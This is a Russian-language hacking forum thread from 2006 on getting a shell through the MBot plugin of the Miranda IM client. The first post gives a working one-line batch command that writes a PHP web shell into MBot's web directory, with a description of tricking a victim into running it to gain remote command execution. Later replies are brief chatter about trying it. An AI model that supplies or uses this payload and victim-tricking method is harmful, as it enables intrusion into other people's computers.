ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > ICQ
Перезагрузить страницу Получение шелла через MBot
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Получение шелла через MBot
  #1  
Старый 01.12.2006, 23:38
Аватар для Goudini
Goudini
Участник форума
Регистрация: 07.06.2006
Сообщений: 146
Провел на форуме:
1652093

Репутация: 490
Отправить сообщение для Goudini с помощью ICQ
Lightbulb Получение шелла через MBot
Получение шелла через MBot

Теория

MBot - сервисный плагин Миранды, позволяющий писать скрипты на PHP как плагины для Миранды. Он включает веб сервер на 8081 порту. В WWW каталоге размещаеться только 1 файл index.php с результатом работы phpinfo(). Толку нам от него мало. Вот если бы можно было писать в файл...

Практика

Получаеться когда включаеться Миранда, одновременно запускаеться веб-сервер. Если юзер об этом не знает можно попробовать получить веб-шелл на тачке.
Просмотрев файл index.php через браузер можно узнать путь к скрипту. Например D:/Miranda/MBot/WWW/index.php

Теперь нужно заставить жертву создать файл, который будет содержать шелл
Я сделал такой .bat файл
Код:
echo "<?='<pre>'.convert_cyr_string(htmlspecialchars(`$cmd`),'d','w').'</pre>'?>" > D:/Miranda/MBot/WWW/test.php
После запуска этого файла на удаллённом компе в веб-директории будет шелл, через который мы сможем выплонять команды винды. Он будет работать пока включена Миранда.
 
Ответить с цитированием

  #2  
Старый 02.12.2006, 01:49
Аватар для KPOT_f!nd
KPOT_f!nd
Познавший АНТИЧАТ
Регистрация: 25.08.2006
Сообщений: 1,524
Провел на форуме:
3405508

Репутация: 1745


По умолчанию
Щас протестим! Теоритический ты убедил, а вот щас посмотрим на практике!
 
Ответить с цитированием

  #3  
Старый 02.12.2006, 02:14
Аватар для cheet
cheet
Banned
Регистрация: 22.09.2006
Сообщений: 107
Провел на форуме:
292387

Репутация: -10
Отправить сообщение для cheet с помощью ICQ
По умолчанию
ну что получается у кого нить такая фишка.
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Загрузка шелла через JavaScript olen Болталка 6 03.09.2006 06:14
Способы загрузки шелла через картнику 1ten0.0net1 Форумы 16 27.03.2006 14:02
Заливка шелла и снятие бана в ipb через mysql darks Форумы 14 26.11.2005 00:03
Получение шела через Cgi приложения k00p3r Чужие Статьи 0 08.06.2005 15:04
Вопрос о залиаке шелла через phpBB 2.0.6. Guest Форумы 6 23.12.2004 22:12



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ